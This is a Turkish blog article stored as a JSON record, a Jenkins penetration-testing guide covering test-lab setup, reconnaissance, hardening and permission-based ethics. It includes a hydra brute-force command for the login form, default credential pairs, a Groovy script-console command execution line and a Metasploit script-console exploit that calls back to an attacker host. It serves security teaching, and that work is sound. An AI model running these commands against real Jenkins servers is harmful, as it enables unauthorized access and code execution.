{"id":247,"title":"Jenkins Pentesting (Penetrasyon Testi) Rehberi","content":"<p>Jenkins pentesting, Jenkins CI\/CD sunucular\u0131n\u0131n g&uuml;venlik a&ccedil;\u0131klar\u0131n\u0131 tespit etmek ve de\u011ferlendirmek i&ccedil;in yap\u0131lan g&uuml;venlik test s&uuml;recidir. Jenkins yayg\u0131n kullan\u0131lan bir otomasyon sunucusu oldu\u011fu i&ccedil;in siber sald\u0131rganlar\u0131n hedefi haline gelebilir. Pentesting ile bu sistemlerdeki zafiyetler proaktif olarak belirlenerek g&uuml;venlik ihlalleri &ouml;nlenebilir. Temel Jenkins Pentesting ad\u0131mlar\u0131: 1. **Ke\u015fif (Reconnaissance)** - Jenkins versiyonunun tespiti - A&ccedil;\u0131k portlar\u0131n taranmas\u0131 - Eri\u015filebilir Jenkins aray&uuml;zlerinin tespiti 2. **Kimlik Do\u011frulama Testleri** - Varsay\u0131lan kullan\u0131c\u0131 ad\u0131\/\u015fifre denemeleri - Brute force sald\u0131r\u0131lar\u0131 - OAuth yap\u0131land\u0131rma kontrolleri 3. **Yetkilendirme Testleri** - Kullan\u0131c\u0131 izinlerinin kontrol&uuml; - Role-based access control (RBAC) testleri - Script yetkilendirme kontrolleri 4. **Plugin G&uuml;venlik Kontrolleri** - Eski\/g&uuml;vensiz plugin tespiti - Plugin yap\u0131land\u0131rma kontrolleri - Plugin g&uuml;venlik a&ccedil;\u0131klar\u0131n\u0131n ara\u015ft\u0131r\u0131lmas\u0131 5. **Jenkins Pipeline G&uuml;venlik Testleri** - Groovy script g&uuml;venlik kontrolleri - Pipeline yap\u0131land\u0131rma denetimi - Kod enjeksiyon olas\u0131l\u0131klar\u0131n\u0131n tespiti 6. **API G&uuml;venlik Testleri** - REST API g&uuml;venlik kontrolleri - API token y&ouml;netimi - API eri\u015fim kontrol&uuml; 7. **Altyap\u0131 G&uuml;venli\u011fi** - Container g&uuml;venli\u011fi (Docker kullan\u0131l\u0131yorsa) - Network segmentasyon kontrolleri - Depolama g&uuml;venli\u011fi &Ouml;nemli G&uuml;venlik Riskleri: - Uzaktan kod &ccedil;al\u0131\u015ft\u0131rma (RCE) - Yetkisiz eri\u015fim - Hassas bilgi s\u0131z\u0131nt\u0131s\u0131 - Pipeline manip&uuml;lasyonu - K&ouml;t&uuml; ama&ccedil;l\u0131 plugin y&uuml;klemeleri G&uuml;venlik &Ouml;nerileri: 1. G&uuml;ncel Jenkins versiyonu kullanma 2. G&uuml;&ccedil;l&uuml; kimlik do\u011frulama 3. D&uuml;zenli g&uuml;venlik g&uuml;ncellemeleri 4. Plugin g&uuml;venlik denetimleri 5. Access control listelerinin d&uuml;zenli g&ouml;zden ge&ccedil;irilmesi 6. G&uuml;venli pipeline yap\u0131land\u0131rmas\u0131 7. Network segmentasyonu 8. D&uuml;zenli g&uuml;venlik testleri ve denetimleri Bu t&uuml;r testlerin etik kurallara ve yasal d&uuml;zenlemelere uygun \u015fekilde, gerekli izinler al\u0131narak yap\u0131lmas\u0131 &ouml;nemlidir.<\/p>\r\n<h2>Jenkins Kurulumu (Test Ortam\u0131 \u0130&ccedil;in)<\/h2>\r\n<h3>Temel Kurulum Ad\u0131mlar\u0131<\/h3>\r\n<p><strong>Java Kurulumu<\/strong>:<\/p>\r\n<pre data-enlighter-language=\"generic\">sudo apt update sudo apt install openjdk-11-jdk -y java -version<\/pre>\r\n<p><strong>Jenkins Kurulumu<\/strong>:<\/p>\r\n<div>\r\n<div>\r\n<div>\r\n<div>\r\n<pre data-enlighter-language=\"generic\">wget -q -O - https:\/\/pkg.jenkins.io\/debian\/jenkins.io.key | sudo apt-key add - sudo sh -c 'echo deb http:\/\/pkg.jenkins.io\/debian-stable binary\/ &gt; \/etc\/apt\/sources.list.d\/jenkins.list' sudo apt update sudo apt install jenkins -y<\/pre>\r\n<strong>Jenkins Ba\u015flatma<\/strong>:\r\n<pre data-enlighter-language=\"generic\">sudo systemctl start jenkins sudo systemctl enable jenkins sudo systemctl status jenkins<\/pre>\r\n<strong>Firewall Ayarlar\u0131<\/strong>:\r\n<pre data-enlighter-language=\"generic\">sudo ufw allow 8080 sudo ufw enable<\/pre>\r\n<strong>\u0130lk Yap\u0131land\u0131rma<\/strong>: taray\u0131c\u0131da <code>http:\/\/:8080<\/code>&nbsp;a&ccedil;\u0131n\r\n<pre data-enlighter-language=\"generic\">sudo cat \/var\/lib\/jenkins\/secrets\/initialAdminPassword<\/pre>\r\n<p>Kurulum sihirbaz\u0131n\u0131 takip ederek temel ayarlar\u0131 yap\u0131n<\/p>\r\n<\/div>\r\n<h2>Jenkins Pentesting Ara&ccedil;lar\u0131 ve Kullan\u0131m\u0131<\/h2>\r\n<h3>Ke\u015fif A\u015famas\u0131<\/h3>\r\n<p><strong>Nmap ile Port Tarama<\/strong>:<\/p>\r\n<div>\r\n<div>\r\n<div>\r\n<div>\r\n<pre data-enlighter-language=\"generic\">nmap -sV -p 8080 <\/pre>\r\n<p><strong>Jenkins Versiyon Tespiti<\/strong>:<\/p>\r\n<div>\r\n<div>\r\n<div>\r\n<div>\r\n<pre data-enlighter-language=\"generic\">curl -s http:\/\/:8080\/ | grep \"Jenkins\"<\/pre>\r\n<p><strong>Metasploit Mod&uuml;lleri<\/strong>:<\/p>\r\n<div>\r\n<div>\r\n<div>\r\n<div>\r\n<pre data-enlighter-language=\"generic\">use auxiliary\/scanner\/http\/jenkins_enum set RHOSTS  set RPORT 8080 run<\/pre>\r\n<h3>Kimlik Do\u011frulama Testleri<\/h3>\r\n<p><strong>Brute Force Denemeleri<\/strong>:<\/p>\r\n<pre data-enlighter-language=\"generic\">hydra -L users.txt -P passwords.txt  http-form-post \"\/j_acegi_security_check:j_username=^USER^&amp;j_password=^PASS^&amp;from=%2F&amp;Submit=Sign+in:Invalid username or password\"<\/pre>\r\n<p><strong>Varsay\u0131lan Kimlik Bilgileri Denemesi<\/strong>:<\/p>\r\n<ul>\r\n<li>\r\n<p>admin:admin<\/p>\r\n<\/li>\r\n<li>\r\n<p>jenkins:jenkins<\/p>\r\n<\/li>\r\n<li>\r\n<p>admin:password<\/p>\r\n<\/li>\r\n<\/ul>\r\n<h3>Yetkilendirme Testleri<\/h3>\r\n<strong>Yetki Kontrolleri<\/strong>:\r\n<pre data-enlighter-language=\"generic\"># API &uuml;zerinden yetki kontrol&uuml; curl -u kullanici:sifre http:\/\/:8080\/role-strategy\/strategy\/getRole?type=globalRoles<\/pre>\r\n<h3>Plugin G&uuml;venlik Kontrolleri<\/h3>\r\n<p><strong>Eski Plugin Tespiti<\/strong>:<\/p>\r\n<div>\r\n<div>\r\n<div>\r\n<div>\r\n<pre data-enlighter-language=\"generic\">curl -s http:\/\/:8080\/pluginManager\/api\/json?depth=1 | jq '.plugins | {shortName, version}'<\/pre>\r\n<h3>Jenkins Script Console Testleri<\/h3>\r\n<strong>Groovy Script &Ccedil;al\u0131\u015ft\u0131rma:<\/strong>\r\n<pre data-enlighter-language=\"generic\"># E\u011fer yetkiniz varsa println \"whoami\".execute().text <\/pre>\r\n<h2>G&uuml;venlik A&ccedil;\u0131\u011f\u0131 &Ouml;rnekleri ve Exploitler<\/h2>\r\n<p><strong>CVE-2018-1000861 (RCE)<\/strong>:<\/p>\r\n<div>\r\n<div>\r\n<div>\r\n<div>\r\n<pre data-enlighter-language=\"generic\">msfconsole use exploit\/linux\/http\/jenkins_script_console set RHOSTS  set RPORT 8080 set TARGETURI \/ set LHOST  exploit<\/pre>\r\n<p><strong>CVE-2019-1003000 (Pipeline RCE)<\/strong>:<\/p>\r\n<div>\r\n<div>\r\n<div>\r\n<div>\r\n<pre data-enlighter-language=\"generic\"># &Ouml;rnek exploit scripti import requests target = \"http:\/\/:8080\" command = \"whoami\" # Exploit kodu buraya<\/pre>\r\n<h2>G&uuml;venli Yap\u0131land\u0131rma &Ouml;nerileri<\/h2>\r\n<p><strong>Eri\u015fim Kontrol&uuml;<\/strong>:<\/p>\r\n<div>\r\n<div>\r\n<div>\r\n<div>\r\n<pre data-enlighter-language=\"generic\"># Jenkins yap\u0131land\u0131rma dosyas\u0131 sudo nano \/var\/lib\/jenkins\/config.xml<\/pre>\r\n<ul>\r\n<li>\r\n<p><code>useSecurity<\/code>&nbsp;etkinle\u015ftirin<\/p>\r\n<\/li>\r\n<li>\r\n<p><code>authorizationStrategy<\/code>&nbsp;ayarlar\u0131n\u0131 kontrol edin<\/p>\r\n<\/li>\r\n<\/ul>\r\n<strong>Plugin Y&ouml;netimi<\/strong>:\r\n<pre data-enlighter-language=\"generic\"># G&uuml;venli olmayan pluginleri kald\u0131rma sudo java -jar jenkins-cli.jar -s http:\/\/localhost:8080\/ -auth kullanici:sifre delete-plugin eskiPlugin<\/pre>\r\n<strong>API G&uuml;venli\u011fi<\/strong>:\r\n<pre data-enlighter-language=\"generic\"># API token'lar\u0131n\u0131 y&ouml;netme sudo java -jar jenkins-cli.jar -s http:\/\/localhost:8080\/ -auth kullanici:sifre list-api-tokens<\/pre>\r\n<strong>Log Takibi<\/strong>:\r\n<pre data-enlighter-language=\"generic\"># Jenkins loglar\u0131n\u0131 izleme tail -f \/var\/log\/jenkins\/jenkins.log<\/pre>\r\n&nbsp;<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>","excerpt":"Jenkins pentesting (penetrasyon testi), Jenkins CI\/CD sunucular\u0131n\u0131n g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131 tespit etmek ve de\u011ferlendirmek i\u00e7in yap\u0131lan g\u00fcvenlik test s\u00fcrecidir. Jenkins, yayg\u0131n olarak kullan\u0131lan bir s\u00fcrekli entegrasyon ve s\u00fcrekli da\u011f\u0131t\u0131m (CI\/CD) arac\u0131 oldu\u011fu i\u00e7in g\u00fcvenlik a\u00e7\u0131s\u0131ndan \u00f6nemli bir hedef haline gelebilir.","created_at":"2024-12-29 11:39:30","updated_at":"2026-09-06 15:25:23","category_id":7,"view_count":650,"reading_time":4,"status":"published","editor_choice":0,"is_editor_choice":0,"published_at":"2024-12-29 11:39:30","featured_image":"resimyok.jpg","slug":"jenkis","category_name":"Cyber Security","category_slug":"cyber-security"}